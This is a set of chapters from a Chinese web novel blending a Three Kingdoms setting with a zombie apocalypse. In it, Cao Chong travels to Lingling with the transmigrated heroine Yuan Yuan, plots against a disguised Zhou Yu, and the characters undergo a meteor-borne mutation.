袁媛泄气,放弃叫醒一个装睡的人。
“表小姐!”张贵象征性地扣门,袁媛抬头,就看见他引着两个小厮抬着一架红木恭桶并三折水墨屏风推门而入,小心翼翼地挪到袁媛旁边。
“您且将就着用。”张贵指挥着小厮将屏风挡在袁媛和曹冲之间,只留一条缝供袁媛的手从中穿过,“小的打听过了,客栈内只有掌柜娘子一位女子。那婆子粗鄙,平日里只在庖厨后院做些杂活,从不上前头来伺候。掌柜怕她冲撞了贵客,不愿放她来帮忙。委屈您,小的去屋外候着,您收拾妥当了吩咐小的就成。”
这是想让她在曹冲的脑袋旁方便?
别说她本来就不想上厕所,就是想上,对着个十之八/九是装睡的醉汉也尿不出来。
袁媛两颊升起火烧云,恨不得把曹冲的手砍了,对两个小厮说:“劳烦二位将这些物件搬出去。”
张贵讶然:“可是……”
“我还能再忍忍。”袁媛望着屏风上开得正艳的芍药花,从牙缝里挤出字来,故作骄纵道,“我不习惯用外头的恭桶,谁知道前头有什么臭男人用过。一会儿表哥松了手,我自去茅房便是。”
她就不信了!
漫漫长夜,曹冲难道还能坚持不睡,一整晚拽着她的手腕不放吗?
52. 张苞
熹微的晨光在窗户上晕开一抹清灰,袁媛半边身体麻木得失去了知觉,前胸倚靠着床沿的横栏,视线落在曹冲腹前交叠的双手上。
昨夜将她手腕攥出乌青的双手,此刻正压着她的半截手指,随着均匀的呼吸缓缓起伏。
袁媛屏息,手指用力往外抽。借着天光,她看到曹冲连眉头都没皱一下,呼吸仍旧平缓绵长。她不由松了口气,猫着腰钻出床帐,小步挪动绣鞋,小心翼翼地绕过蜷睡在矮榻上的张贵。
“嗯……”袁媛刚将门缝推开一跨宽,张贵忽然翻了个身,将她的手静止在了门闩上。
袁媛全身血脉倒流,硬着头皮回头,却见张贵砸吧了下嘴,换了睡姿后,鼾声如旧。
她不敢再耽搁,用最快的速度穿过门缝,拔腿便朝着马厩的方向狂奔。
天才蒙蒙亮,客栈大厅空无一人。曹冲的马车停在客栈门口,马儿却解了套,在第二间马厩里悠然地甩着尾巴。
袁媛蹑手蹑脚地靠近,因为晨风很凉,她解缰绳的手部肌肉不由自主地颤抖。马儿晃着脑袋抖了抖鬃毛,认出她是个熟人,很通灵性地贴过来蹭她的掌心,温顺又友善。
“乖,跟我去浪迹天涯吧!”
自由的风拂过耳边,袁媛夹紧马肚,指挥着马儿冲出客栈。眼前的道路连接天际,两旁草木茂密,如同一条通往自由的康庄大道。
“驾!”
心中生出“海阔凭鱼跃,天高任鸟飞”的畅快,袁媛高举马鞭,策马奔腾。
忽然,一道清越的口哨穿透晨露,扎进耳膜。
马儿双蹄抬起,骤然立停。
袁媛死死拉住缰绳,好险才稳住被腾空上甩的身体。当柔顺的马毛扫过她的面庞时,她惊奇地发现,马儿竟然在半空中完成了转体,落地后调转方向,马不停蹄地向着客栈的方向跑了回去。
“调头!”袁媛急拽马头,手中的鞭子扬起又落下,马儿认准一个方向跑得飞快,丝毫没有回头的意思。
清透的马眼映着客栈廊下挂着的灯笼,越来越近。
屋檐下,曹冲正老神在在地立在门前,等着爱马归来。
“嘶——”行至曹冲面前,马儿终于驻足,鼻尖轻蹭曹冲衣袖,跃跃欲试地想要扑进主人怀里。
“吁,吁!”张贵睡眼惺忪地从门里奔出,鞋子穿反了左右脚,屁股上赫然印着个醒目的脚印,显然是被曹冲一脚踢醒的。他拉住缰绳,揉了揉眼睛,不可思议道:“翁主,您这是,想跑?”
这不是明知故问么?
袁媛被张贵问笑了,铁证如山,她没有任何狡辩的余地:“如果我说我只是想跑一圈马兜兜风,你信吗?”
“哎呦我的翁主呀!”张贵捂着屁股,不可思议道,“您为何要跑?这荒郊野岭的,方圆百里就这一个歇脚的地儿,外头不是豺狼虎豹就是流民悍匪。您乃千金之躯,一个人上路,怕是跑不出多远就要被刁民生吞活剥了。”
曹冲嗤笑:“可能她认为,我比外头的豺狼虎豹更可恶吧。”
袁媛:……你还挺有自知之明的。
她认命地爬下马,曹冲的乖马儿亲昵地凑过来,用鼻尖推着她送到曹冲面前,湿热的鼻息喷在后颈,恍若昨夜车厢里曹冲撒在她颈畔的酒气。
曹冲拍了拍马脖子,嘲讽道:“看,它都比你有良心。”
袁媛咬唇不语,炊烟裹着晨间的雾气从后厨飘来,她嗅到了麦饭的甜香,肠胃不自觉地发出声响。昨天的宴会一波三折,提心吊胆之下,吃的丁点鸟食早就消化完了。如今闻到饭香,不由咽了咽口水。
“备车!”曹冲躲开使劲嗅蹭他的马头,吩咐张贵,“既然翁主那么想走,不如随了她的心意,即刻启程!”
啊?
这是不打算吃早饭了?
袁媛傻眼。
这不是伤敌一千,自损八百吗?不仅她得饿肚子,曹冲和张贵也得饿着。
张贵苦着脸给马套车:“七公子,这里荒无人烟,距离下一个客栈得走上大半日,不若小的找店家备些干粮,一会儿路上可以垫垫肚子。”
曹冲看他:“我昨夜吃多了,这会儿还觉得撑得慌。翁主殿下想来也是不饿的,不然不会一早连早食都等不及,急着要走。我们俩都不饿,难不成你饿了?”
“不,不!”张贵冷汗都下来了。他方才睡得太香,竟然连袁媛偷溜出门都没发觉,已经犯下大错。倘若再惹主子生气,更该罪加一等。
他着急忙慌地去套车,险些摔个狗啃泥:“小的该死!小的不饿,小的肚子可饱了!”
“那便好。”曹冲一撩下摆,率先跃上车辕。张贵弯腰弓成虾米,忙不迭地把手伸向袁媛:“翁主请上车,小的搀着您!”
袁媛无法,忍着腹饥坐上马车。
由于战乱的缘故,越往零陵走食宿,条件越差。当零陵郡不高的城墙出现在眼前时,她感觉自己都被饿瘦了一圈。
“怎的如此多人!”张贵掀开车帘,指着从城门前蜿蜒过来的两条队伍惊叹。
左边队伍中站着的尽是些衣衫褴褛的平民百姓,有的连鞋子都没有,光脚抓着个豁口的破碗,拄拐乞食。右边的队伍衣着不一,虽然也有落魄流民夹杂其中,但队伍长度不到左边的百分之一,且不时能看到几个青衫小吏、银甲兵士点缀其间,通关速度极快。
张贵将马车停妥,垫着脚穿过流民群,挤到最前端打听了一番,回到车上禀报:“近日想入城的人太多,刘备担心引起动乱,便立下规矩:零陵本地人及前来探亲访友的亲眷排右列,凭本地口音或者零陵房契、公职人员的令牌鱼符即可快速通关。剩下的人则视作外乡人,需站在左列,除了要查验路引、户籍外,还得参加抽签。”
“昨日左列队伍长三百米,刘备便规定五中取一,每五人放一人进城。今日队伍比昨日还长了百米,中签率已经降到八中取一,每八人中才有一人能获得入城资格。”
张贵一边说一边左顾右盼,指着右边队伍低声道:“公子快看,那不是我们昨夜在客栈遇见的主仆吗?”
袁媛心下一跳,顺着张贵的手抬头望去,果然看到周瑜和凌统穿着昨天的玄色便服,牵着两匹骏马安静地站在队伍的尾
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端。
他们主仆二人骑马,虽然出发得晚,但比坐马车的袁媛一行人到得早。
日光下,周瑜的气色比昨晚昏暗灯光下更差,但挺拔如松的身形为他拉回了不少形象分。右胁处的伤口虽然结了薄薄的血痂,但每一记呼吸都痛如刀绞,令他的下颌线愈加紧绷,原本如诗如画的眉眼淬出凌厉锋芒,如同在烈火中精炼过的美玉,绽出灼灼光华。
张贵被他的气度所慑,喃喃道:“七公子,我们排哪条队?”
“自然是排在这位兄台后头。”曹冲毫不避讳地打量周瑜。不同于昨晚在药物和酒精双重作用下偏移了的关注点,今天曹冲的视线完全略过了周瑜的外貌。他注意到周瑜看似站得随意,眼角余光却不着痕迹地扫过眼前的城楼,将楼上暗哨的位置、兵器的布防尽收眼底。
这是哪路兵马的主帅微服出巡?
能精准找到零陵防务的缺口,应该不会是个寂寂无名的人物。
曹冲若有所思,跳下马主动去与周瑜攀谈:“兄台是零陵人吗?在下离家太久,竟已不认得县中老乡,不知兄台贵姓?”
“还未谢过昨日公子让房之恩。”周瑜说话时气息微凝,气度却是不凡,“在下黄柄,正是零陵人氏,少小便离家求学,此番回乡,颇有物是人非之感。”
“原来是黄兄!”曹冲抱拳,热情与周瑜寒暄。
袁媛垂眸掩下心中所想。
如果她没记错,黄盖有个儿子就叫黄柄,黄盖死后,被孙权封为关内侯。
黄盖的祖籍就在荆州零陵郡,他从初平元年起便追随孙坚,孙坚战死追随孙策,孙策战死又追随孙权,是铁杆的东吴嫡系。他与周瑜关系莫逆,《三国演义》中根据赤壁之战的历史典故,让两人同时出现在了一句歇后语中:周瑜打黄盖——一个愿打,一个愿挨。周瑜借黄盖儿子的身份入零陵,显然是得到了黄盖的同意,他甚至还随身携带黄柄的房契作为证明。
“木黄门街乙字五号,北……南……”守城将凑近房契细看,鼻尖几乎要戳到竹简上,“放你娘的狗P!X子前日被诸葛军师逼着背了一宿街道名,背得我头晕眼花。零陵哪有劳什子的木黄门街?你把X子当猴耍?”
“这怎么是木黄门?”凌统莫名其妙,指着竹简上的刻字气道,“军爷,这是横门,横门!”
“横门?你是说,这个木和黄是一伙的?”守城将眯起眼,把手中蛇矛重重戳到地上,冲着在左边队伍查验路引的小兵吼道,“吴二狗,军师不是夸你学问好?过来瞅瞅!这到底是两个字还是一个字?”
吴二狗颠颠地跑来,捏着房契盯了半天,方才犹犹豫豫道:“张小将军,这确实是个横字!咱零陵是有条横门街,就在西直路边上,紧挨着您义兄关兴小将军的宅院。”
“是吗?”守城将迷惑地挠头。
袁媛的耳朵敏锐地捕捉到熟悉的名字,伸长脖子,试图从守城将身上看出蜀汉猛将张飞的影子。
张苞,张飞长子,遵循父辈传统,与关羽之子关兴结为异姓兄弟。健硕魁梧,彪悍勇猛。他使用的武器是家传的蛇矛。
53. 乡音
张苞不仅遗传了张飞健壮的体格,也继承了张飞见了文字就头疼的脑子。不同于屠夫出身的张飞,张苞出生后不久,张飞便跟着刘备征战各地,手头逐渐宽裕起来。张飞自己没文化,对儿子的教育格外上心,早早将长子张苞、次子张绍送进书塾,可惜张苞实在不开窍,张飞打也打了,骂也骂了,无论如何都不能使长子像次子那样写出锦绣文章,最后只能作罢。
课业上比不过弟弟,张苞自己也觉得委屈。都是一对爹娘生的,凭什么爹娘把聪明都给了张绍呢?张绍比张苞小两岁,两人都是童生时,张苞因为认不得大字被夫子留在蒙学,张绍却轻轻松松晋级成了张苞的“学兄”。张苞丢了做长兄的颜面,越发失去上学的动力,死倔着再也不肯踏入书塾半步,把张飞气得跳脚,差点把张苞的腿打折。
最后还是大伯刘备、二伯关羽闻讯赶来,宽慰张飞说尺有所长,寸有所短,张苞虽然念书不行,习武天赋却是一等一,将来承袭父亲衣钵成为一名虎将,也将是位名垂千古的人物,这才将张苞从读书的泥潭里拉出来。
自此张苞安心习武,经过十来年苦练,如今武艺已有所小成,谁也不敢小瞧。可惜世人推崇读书人,张小将军打仗虽然英勇,但他把在书塾里学的字全还给了夫子,连横门街的横字都认不得。
“娘的!”张苞感觉背后仿佛有成百上千个士兵在看他笑话,忍不住骂了句脏话,横矛拦住曹冲的马车:“且慢!房契拿来!”
“将军容禀!”张贵连连作揖,“我家公子乃零陵人氏,可惜早年家道中落,被迫卖尽祖产外出谋生,故而在郡中已无房舍。今年公子娶得新妇,因祖宗阴宅皆在零陵,未曾迁走,便想着带新妇去坟前为父母敬香,以告祖宗。”
“敬香什么时候不行,非得挑如今这个节骨眼?”张苞斜眼,忍不住抱怨。
守城原本并不算一件累活,尤其是零陵这样的小城,每日进出的人数有限
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,非常适合摸鱼。可惜因为《浩劫启示录》,张苞已经连着几天忙得连饭都没时间吃,恨不得把作者自德先生揪过来好好打一顿出气。
张苞骂骂咧咧:“你们既没有房契,打算如何过关?”
“在下尚记得乡音!”曹冲上前一步,不卑不亢地拱手,一口地道的零陵土话脱口而出,“在下离乡日久,最难忘的是西直路头上的‘乔记血鸭’,店主是对老夫妻,瘸子掌柜总是将麻鸭剁成银锭大小,油润的酱汁混着米酒和鸭血淋透鸭肉,大勺一翻,鲜辣美味便落进粗陶碗中,那滋味!不瞒将军,在下数载漂泊,心中始终惦念不忘的除了早逝的父母,便是这一口鸭肉了。”
张苞瞪眼,他一句也没听懂。
他祖籍涿郡,幼年便被父亲带着四处奔走,别说零陵话,就是涿郡方言他也一窍不通。曹冲说得真情实感,传到张苞耳朵里的调子却有些像小时候在私塾时夫子读的之乎者也,一听到就让人昏昏欲睡。
54. 暗杀
曹冲与周瑜相处得愉不愉快袁媛不知道,但周不疑对他的新邻居厌恶得不行。
下了一夜的秋雨刚歇,周不疑轻手轻脚地站在墙根底下,高举半个苹果引诱头顶处毛茸茸的黑白团子。可惜,从树叶中探出圆脑袋的小团子只是动了动耳朵,根本看不上他手里的诱饵,懒洋洋地用肉垫把他的手推远了点,头也不回地向着隔壁的树枝攀了过去。
“墨白!”周不疑急追两步,却被高墙挡住了视线,只能眼睁睁望着颤动的树枝,心如刀绞。
“貘吃竹子,隔壁种着一整片竹林呢。”倚靠在逍遥榻上读书的曹冲支起半边身子,轻笑道,“你养的这貘,未来怕是要改姓黄了。”
“隔壁的到底姓不姓黄还不知道呢。”周不疑的手顿在半空,巴巴地望着空无一熊的树枝,气闷道,“我虽十几年未曾归乡,但这座宅子是我周家祖宅,从我的曾曾曾爷爷那辈起就与隔壁的黄家做邻居。黄家是南阳太守黄子廉的后人,原籍在颍川,其中一支迁到零陵安家,传了三代,第四代家主名黄盖,字公覆,先后侍奉了江东孙家三代,刚刚因赤壁之战的战功升了武锋中郎将。”
周不疑祖籍零陵,由于幼年失去双亲,又显示出超乎常人的聪颖,六岁便被时任刘表别驾的舅舅刘先带在身边教养,离开了家乡。他与曹冲结识后,关系莫逆,很快就定下了效忠终生的对象,跟着曹冲在许都、邺城等地置办下宅院产业。若不是曹冲突发奇想听信《浩劫启示录》,他可能得等将来封侯拜将后,才会回到老宅,衣锦还乡。
想到头也不回就跑去了隔壁的爱宠,周不疑悔得肠子都青了:“早知如此,我就该把院子里这些中看不中用的的树全都拔了,栽上满满一院竹子给墨白挑着吃。”
实在是计划不如变化,他来不及安排妥当,便被曹冲使唤到了零陵。
周不疑小时候见过黄盖和他儿子黄柄:“当时黄家老夫人还在世,黄家父子虽常年在外征战,逢年过节时,还是会经常回乡承欢膝下。他们父子二人皆相貌平平,尤其是黄柄,十年前他正值弱冠之年,风光正茂的年纪,长相用清秀来形容都十分勉强。总不能经历了十年沙场风吹日晒,如今反而出落成了一名貌比宋玉的美男子。”
人的气质会变,但五官不会变,成年后的身高更不会长。周不疑记性很好,黄柄身长七尺,隔壁的冒牌货却有八尺余高,两者绝对不是同一个人。
“那人过关时出示了黄柄的房契。”曹冲的指尖无意识地摩竹简,浓密的睫毛在眼下投射出浓重的影,“房契上有官印,伪造不易。且黄家父子虽不在祖宅久住,宅中必然不缺仆从扫洒。既然仆从没有把这位假冒的主子赶出门去,想来他与黄家父子必有渊源。黄盖乃江东重臣,能与之相交、且甘愿以房契相托的必非无名小卒。那人身材高大,俊朗非凡,但气色不佳,右胁处似是有伤……”
曹冲在心里过了一遍符合条件的江东人物,答案呼之欲出:“周瑜周公瑾,三个月前在与曹仁的对战中被流矢射中右胁。曹仁曾推测他伤势严重,计划急攻。可吴军情况一切如常,甚至有探子来报,称看到周瑜巡视各营,丝毫不见病容。曹仁摸不准他的虚实,暂时不敢轻举妄动。如今看来,恐怕是周瑜故弄玄虚,唬住了曹仁。”
“原来是庐江周氏之子。”周不疑恍然大悟。他之前也猜测过隔壁的冒牌货十之八/九来自江东,但身份所限,他并没资格查阅前线战报,因此也不清楚周瑜受了箭伤,无法精准定位冒牌货的身份。如今被曹冲补全了资讯,很快就接受了与江东大都督作邻居的事实。
说起来,周不疑也姓周,早五百年与周瑜是一家,但早早便分了支。周瑜的从祖周景、从父周忠皆位列汉三公,父亲周异官至洛阳令,显赫一时。周不疑的父祖却选择在零陵耕读传家,并未出现值得夸耀的名人,家族境遇大不相同。
论公两人分属对立阵营,论私两人隔着夺熊之恨,周不疑对这位文物双全的本家兄弟毫无好感:“南郡之战从去年冬季开始,打了大半年还胜负未分,如今正是战事焦灼的时候。周瑜不在江岸督军,冒险跑来鸟不拉屎的零陵,难不成是病急乱投医,跟你一样信了僵尸瘟将至的传言?《浩劫启示录》记载,熬过尸变后,异能者原本的伤病将不药而愈,神乎其神。”
“除此之外,别无他解。”曹冲站起身,迅速转入书房修书一封,盖上火漆交给张贵,“八百里加急,速传信至征南将军曹仁!”
张贵不敢耽误,低头领命。
曹冲思索片刻,下了第二道命令:“尽快暗杀周公瑾,伪造成是刘备所为。”毕竟,这里可是刘备的地盘,“若黄宅防守严密,不要硬闯。僵尸瘟即将降临,此时一动不如一静,以免打草惊蛇,节外生枝。”
他麾下的三百亲兵已经陆续进入零陵,按计划散落在城中各处,不怕没人干活。
张贵知道该怎样联络亲兵,自去安排。
周不疑哪怕没有踏入书房半步,用脚趾头也能猜到曹冲的布置。
他虽是这座宅院的户主,但名声不显,如果不刻意打听,外人根本无从得知他加入了曹操阵营。周不疑与周瑜没有深仇大恨,且来零陵比他早,洗去了特意回乡守株待兔的嫌疑,日后孙权追查,也查不到他的身上。
至于曹冲,从头到尾连个真名都没露过,不过是个查无此人的过客。
周不疑笑道:“孙权做梦都不会想到,黄盖府邸的隔壁住着曹操的儿子,恰巧要了他得力干将的命。”
“倘若他真是刘备口中‘文武筹略,万人之英’的周公瑾,恐怕没那么顺利。”周瑜年纪轻轻便有赤壁之功,即使身处敌对阵营,曹冲也是敬佩的,“狡兔尚且三窟,周公瑾借黄家的房契进城,却不一定非得住在黄家老宅。”
“仓舒,你不了解刘备治下的零陵。”周不疑唤了声曹冲的表字,提起袍角在逍遥榻上落座,却不像曹冲那样懒洋洋地倚靠上去,只以三分力道虚扶扶手,坐得十分板正。
他瞥了眼正打着哈欠从西厢房走来的荣安翁主,将口里的官话转化成了零陵土话,语速不减:“近日,受《浩劫启示录》感召,八方来客涌入零陵,其中有不少都是身无长物的流民。刘备立志要当‘仁德之君’,治理郡县皆以安民为要务,流民也是民。为彰显仁义,刘备征用了郡中所有酒肆客栈,将上等房改成地铺,借流民片瓦容身。周瑜哪怕有钱,恐怕一时半会儿也难在郡中找到合适的空房容身。”
“如此。”曹冲的注意力很难得地开了一会儿小差。
他认识周不疑时,他还是个连官话都说不顺溜的孩子,两人时常在一起玩耍,一个说官话,一个说零陵土话,不多时,曹冲甚至没有刻意去学,也能讲一口地道的零陵方言。这些年他与周不疑形成了默契,谈话时若有第三人在场,又不想让第三人知道谈话内容,就会切换成零陵土话交流。往日里,这第三人通常是指张贵,屡试不爽。
但曹冲十分怀疑,这招数对袁媛无效。
他仔细观察袁媛的神色,果然发现她在听到“周瑜”二字时瞳孔微震,脚下的步子也不由自主地慢了半拍。
周不疑顺着曹冲的视线,也察觉到袁媛的异常,故意用零陵方言奇道:“都日上三竿了,翁主怎的现下才起身?”三国对女子的要求讲究勤劳贤惠,莫说需日日操持劳作的农妇,就是不事生产的大家闺秀,也绝没人敢一觉睡到中午的。若是传出懒惰的名声,怕是这辈子都找不到婆家。
但袁媛丝毫不觉得睡懒觉有任何问题。
现代人睡到下午起床都不稀奇,睡到中午只是毛毛雨。更何况,今天晚上陨石就要来袭,末世一开始所有人都会被迫二十四小时处于戒备状态。在社会秩序彻底恢复前,懒觉会成为奢侈品,当然得抓住现在能享受的最后时光尽情享受。
“前几日舟车劳顿,昨日才好不容易进城安顿下来,今早也没人来喊我起床,可不就起晚了吗?”睡太久唯一的坏处就是容易饿。要不是五脏六腑闹起了空城计,袁媛觉得她还能再在床上赖两个小时,“你们中午吃过了吗?今日中午吃什么?”
“血鸭与阳尖鱼,都是零陵特色,翁主尝尝?”周不疑不动声色地指了指厨房,“我与七公子方才已用过午食。给你多留了一份,但需得重新蒸煮加热。”
“多谢!”袁媛非常满意,三步并作两步地跑去厨房享用美食,没空留心身后周不疑古怪的神情。
“翁主听得懂零陵方言?”他有些难以置信。
零陵只是个小郡,若非本地人,或者是像曹冲这种过耳不忘的天才,谁会特意花功夫去学当地方言?
“但翁主说的还是官话。”周不疑迟疑道,“她只能听懂方言,却不会说吗?”
“我更相信是另外一种可能。”曹冲在袁媛身上了发现了无数不合理之处,虱子多了不怕痒,因此思路格外开阔,“你不觉得,她像是根本没发现你说的是方言?”否则以袁媛遇事喜欢欲盖弥彰的性子,绝对会假装听不懂周不疑的问话,而不是如此自然地回答他。
周不疑是知道袁媛身上有些古怪的,不然也不能写出《浩劫启示录》来。但他以前与她接触不多,还是第一次对她的不正常有如此清晰直观的认识:“她听到周瑜时神色微变……”
只有男子才会关注战局,女子被困于后宅内院,大部分连都督在军中有哪些职能都分不清,一般也不会有人为他们详细介绍有哪些文成武将参与了赤壁之战,又分别在战事中发挥了什么样的作用。没有信息来源,她们顶多知道曹操败于赤壁,刘孙联军获胜,更多的就无从得知了。
若是普通闺阁女子,根本不会对一个素昧平生的男子姓名有任何反应。
周不疑的好奇心像猫挠一般难耐:“不若直接问问翁主,是否知道周瑜?”从人生履历来说,袁媛应该与周瑜没有交集。
“无用。”曹冲忽然轻笑出声,他闭着眼都能猜出袁媛的反应,“你若去问,她必会告诉你她早就听过周瑜的大名,将他的生平说得头头是道,却绝口不提她是从哪里听说的。你若是继续追问,她就会告诉你都是道听途说,至于具体是哪条道上听来的,不好意思,时间过得太久,她已经忘了。”
周不疑无语,突然有些心疼自家好友。
看得出来,七公子已经不是第一次吃翁主的亏,都已经吃出经验来了。
这么难饲弄的小娘子,还是交给七公子去头疼吧。
周不疑趋利避害,果断决定避开这摊浑水:“隔壁到现在都没传出声响,恐怕你的暗杀
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行动不幸胎死腹中。”
“无妨。”曹冲原本也没指望能轻易收割江东重臣性命,并不失望,“僵尸瘟一起,天下局势必然巨变。只要我们拥有最大数量的异能者,便能抢占先机,立于不败之地。”
他的三百亲兵已经准备就绪,只待异能觉醒,便会来周家老宅报到,助他成就大业。
当然,前提是,他也能成功觉醒异能。如果他没能挺过尸变,变成了僵尸,再多的忠心和有能力的手下都对他失去了意义。
他会变成僵尸吗?
曹冲不知道。
他没有把握,但不影响他下定决心赌这一把。
成王败寇,古今一理。比起对变成僵尸的畏惧,他更害怕一成不变的平庸与无聊。
逐鹿中原应该会很有趣。他的父亲玩了大半辈子征战沙场的游戏,年过半百仍旧没有厌倦,足以证明权势的吸引力。
曹操也读过《浩劫启示录》,但曹冲认为他不会试图觉醒。在第一颗陨石划过天际的那一刻,他的父亲一定会迅速找到一个房间,锁死门窗,断绝一切与丧尸瘟接触的渠道。
君子不立危墙之下,他的父亲是枭雄,不是疯子。他宁可花高官厚禄收买异能者,也不会押上自己的身家性命去赌微乎其微的觉醒可能性。
但曹冲不一样。
曹冲有鲜明的自我认知,很小的时候他就意识到,他是有点疯症在身上的。
权利的游戏他想玩,但变成僵尸似乎也是不错的体验。《浩劫启示录》把僵尸形容成丑陋、暴力、残忍的行尸走肉,可曹冲却从字里行间看到了一种不同于人类的新物种。尸变会让他长出新的骨骼、新的器官和所谓的“晶核”,甚至根据《浩劫启示录》的描述,后期的僵尸王会重新唤醒智慧与记忆。
多有趣。
尸变不是末日,而是以另一种生命形式进行狂欢的新开始。
他无法体验豺狼虎豹、蚊虫鼠蚁的生活,却可以尝尝当僵尸的滋味。
僵尸没有痛觉,甚至可以彻底摆脱呼吸。
哪里去找这样的好事!
很难说清曹冲到底是希望觉醒异能多一点,还是希望变成僵尸多一点。不管是哪一种,他都有些迫不及待了。
曹冲的视线精准地锁住袁媛:“过来,进到这个笼子里去。”
袁媛一愣,随即反应过来。
曹冲思虑周密,为避免家中出现丧尸,已经遣送张三等仆从去别处等待变异。
目前周家老宅中只剩下袁媛、曹冲和周不疑三人。
谁也不知道他们三人中哪个会成为异能者,哪个会成为丧尸。
保险起见,曹冲决定将三人隔离开,给袁媛和周不疑一人准备了一个之前用来关熊猫的那种笼子,钥匙就放在笼子的角落里。
如果他俩平安熬过变异期,轻松便可拿到钥匙自行开锁。但如果变成了丧尸,以初级丧尸低下的精细运动能力,是无法完成开锁任务的。它们甚至根本不会意识到可以用钥匙来打开锁。
“你怎么不自己进笼子?”袁媛忍不住抱怨,但也知道这里曹冲说了算。连周不疑都对此毫无疑义,钻进笼子里与他的宝贝熊猫大眼瞪小眼,袁媛的意见一点也不重要。
她别无选择。
三国没有钟表,但曹冲为了迎接末世的来临,特意将漏刻搬到了院中显眼位置。
再过四分之一个刻度,也就是三分钟三十六秒,陨石就将降临地球。
袁媛数着血管里随着心跳一起跳动的恐惧,与曹冲、周不疑一起抬头望向天空。
十,九,八,七……
当第一缕天火割破云层时,袁媛看到曹冲火速脱光了衣服,像个罹患裸/露/癖的疯子一般赤条条地张开双手,仰头深呼吸。
——不是,兄弟你玩这么花?
理智上袁媛能理解他希望最大限度接触病毒的愿望,但情感上她实在难以接受平日里衣冠楚楚的贵族公子突然赤/身/裸/体地站在她面前。
她很难克制住不把目光投注到他的下半身,毕竟某个不可描述部位的观赏性非常强。
当看到周不疑也开始撸袖子时,袁媛几乎要尖叫了。幸好周不疑还有点底线,只剥完了外衣便罢,裸着上半身与好基友曹冲一同仰面朝天。
别说,周不疑看着瘦弱,脱出来还挺有料的。
袁媛的大脑自说自话地给出评价。
曹冲回头看向袁媛,言语不满:“你在呆看什么?”
嗯?难道我也要脱?
不不不!
袁媛疯狂摇头,别说她并不想接触丧尸病毒,哪怕她想,在两个三国美男面前脱光光也突破了她的三观。
幸好她不需要向曹冲解释了。
作为陨石的落地点,零陵接收到的病毒密集且迅速。当针扎般的刺痛从五脏六腑钻进骨髓,袁媛仰面躺倒,听见胸腔内突突的心跳混着某种难以形容的、黏腻得如同毛毛虫爬过腐叶的声响在头颅中回荡。
在最后清醒的瞬间,她看到曹冲冷酷的眼,周不疑疑惑的面容,以及风里传来的说不清楚是远还是近的无数个声音。
尖叫,奔跑,呼喊,啜泣。
最终黑暗席卷,曾经的旧世界,落幕了。
55. 古怪
极端的痛。
袁媛蜷缩在笼子里,后知后觉地感受到自己的手指正在变异。如同被千万只蜜蜂蛰咬般,在手背上咬出罗网般的细纹,每一道伤口里都渗出散发着恶臭的墨色粘液,牵拉着五个手指以诡异的角度向四面发布翻折。指甲脱落,取而代之的是像被强酸腐蚀过的坑坑洼洼的骨状物,呈现出诡异的焦黑色。
她正在变成丧尸吗?
疼痛是清晰的,但意识却很遥远。
当脊柱像任由修理工玩弄的铰链般被一节节掰错位时,袁媛突然获得了一个清醒的第三视角。
她的身体变成了两股力量绞杀的战场。
胸腔里,丧尸病毒正在试图切断她的心肌纤维,将规律跳动的鲜活心脏拆分成死气沉沉的碳化脓包。
极限修复异能则努力迸发出超高的生物电流,把失去活性的细胞重新激活。每一次心跳都是无法忍受的极刑,强烈的痛感从心脏触达全身每一个神经末梢。
当丧尸病毒反扑时,她的皮肤上会浮现出丑陋的尸斑,从嘴巴里流出的滂臭口水滴在笼子的栅栏上,腐蚀出凹凸不平的浅坑。而当修复异能占上风时,她的身体则会短暂地恢复健康的人类形态。
昏昏醒醒,浑浑噩噩。
有几个瞬间,袁媛几乎以为自己已经是个丧尸了。
相比之下,距离她只有数米之遥的曹冲仍旧保持着人类的外表,虽然眉头紧锁,脸颊泛起死人样的青灰,但仿佛只是做了一场平平无奇的噩梦。三朵原本应该在春季盛开的二月兰从他的腰侧探出脑袋,半秒一个动作地演绎了抽芽、含苞、盛放、凋谢四种状态,而后迅速垮塌,回归泥土。
这是什么,异能吗?
意识黏黏糊糊的搅在一起,花开花谢的速度太快,以至于袁媛不禁陷入了深深的自我怀疑。
也许是她看错了?
再旁边,周不疑也是安然地躺着,嘴角甚至挂着一抹若有似无的微笑。
袁媛努力眨眨眼睛,莫名有些委屈。
不像她正在承受的漫长的仿佛没有尽头的百级疼痛,曹冲和周不疑身上的衣服完好,昭示着他并没有经历丧尸化的过程,直接进入了异能的觉醒期。
真幸运。
有的人生来就得天眷顾,轻而易举便能摘星揽月;有的人却从小就被打上了“边角料”的标签,哪怕历经苦难,也无法撬开幸福的缝隙。
不公平,但无可奈何。
无声的叹息中,袁媛的意识再一次沉沦在黑暗中。
不知过去多久,在某个介于昏迷与清醒夹缝中的时刻,袁媛闻到了清新的泥土气。她在将暗未暗的暮色中睁开眼,率先感觉到的是皮肤的微凉。
身上的衣裙早就在之前的反复尸化过程中被撕裂,她赤/身/裸/体地躺在笼子里,像一只动物一般与世界坦诚相对。
“你醒了。”
曹冲的声音在耳边炸开,仍然还能继续做人类的欣喜让位于浑身赤/裸/的羞耻,袁媛耳尖通红,像被火撩着屁股似的蹦起来捡起角落里的半截肚兜,着急忙慌地遮住身上的要紧部位。
“遮什么。”曹冲提着灯笼在笼子前蹲下,灯光不仅照亮了他刀刻般英挺的鼻梁,也将袁媛的肌肤照得如凝脂般白皙透亮,与数个小时前在同样位置出现过的腐败枯皮形成鲜明对比。
曹冲将灯笼放在地上,钥匙在指尖转了个圈,瞧着袁媛拽着肚兜蜷身缩脖的模样实话实说:“我一醒来就见你光着身子躺得四仰八叉,好似非常大方地邀请我参观。盛情难却之下,该看的不该看的我可都看遍了。现下再遮,不过是亡羊补牢。”
那也得遮!
袁媛的怒视直射曹冲的胸膛,整个人如同一只炸毛的猫,令曹冲不由晃了神。
真可爱,也真温和。
时下女人重视贞洁,如果不慎被丈夫以外的男子看到隐私部位,不少人会选择自杀以保全清白。可袁媛却只是用瞪视短暂地表达了一下不满,不仅没让他欣赏到撞笼子哭闹,甚至连一声咒骂也无,仿佛只是为了证明她仍保有女性的羞耻本能简单走了个流程,便轻描淡写地抛开了这桩本来可能性命攸关的尴尬事。
果然是个浑身写满秘/密的女人。
袁媛不想搭理他,问道:“周不疑呢?”
“不知道,醒来便没见他人。”好基友不见踪影,曹冲看起来却并不担心,反而被袁媛方才的反应勾起了兴致:“你为何不骂我?”
